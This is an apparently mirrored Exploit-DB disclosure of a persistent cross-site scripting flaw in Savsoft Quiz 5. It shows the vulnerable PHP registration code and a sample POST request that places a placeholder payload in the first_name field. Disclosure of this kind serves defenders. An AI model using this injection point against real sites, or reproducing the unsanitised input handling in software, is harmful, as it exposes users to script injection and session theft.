Savsoft Quiz 5 – Persistent Cross-Site Scripting - 体验盒子

作者： th3d1gger

日期： 2020-07-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48658/

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# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting

# Date: 2020-07-09

# Exploit Author: Ogulcan Unveren(th3d1gger)

# Vendor Homepage:https://savsoftquiz.com/

# Software Link:https://github.com/savsofts/savsoftquiz_v5.git

# Version: 5.0

# Tested on: Kali Linux

---Vulnerable Source Code----

function insert_user_2(){

$userdata=array(

'email'=>$this->input->post('email'),

'password'=>md5($this->input->post('password')),

'first_name'=>$this->input->post('first_name'),

'last_name'=>$this->input->post('last_name'),

'contact_no'=>$this->input->post('contact_no'),

'gid'=>implode(',',$this->input->post('gid')),

'su'=>'2'

);

$veri_code=rand('1111','9999');

if($this->config->item('verify_email')){

$userdata['verify_code']=$veri_code;

}

if($this->session->userdata('logged_in_raw')){

$userraw=$this->session->userdata('logged_in_raw');

$userraw_uid=$userraw['uid'];

$this->db->where('uid',$userraw_uid);

$rresult=$this->db->update('savsoft_users',$userdata);

if($this->session->userdata('logged_in_raw')){

$this->session->unset_userdata('logged_in_raw');

}

}else{

$rresult=$this->db->insert('savsoft_users',$userdata);

$uid=$this->db->insert_id();

foreach($_POST['custom'] as $ck => $cv){

if($cv != ''){

$savsoft_users_custom=array(

'field_id'=>$ck,

'uid'=>$uid,

'field_values'=>$cv

);

$this->db->insert('savsoft_users_custom',$savsoft_users_custom);

}

----Vulnerable Request---

POST /index.php/login/insert_user/ HTTP/1.1

Host: savsoftquiz_v5

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.2/index.php/login/registration/

Content-Type: application/x-www-form-urlencoded

Content-Length: 231

Connection: close

Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv

Upgrade-Insecure-Requests: 1

email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1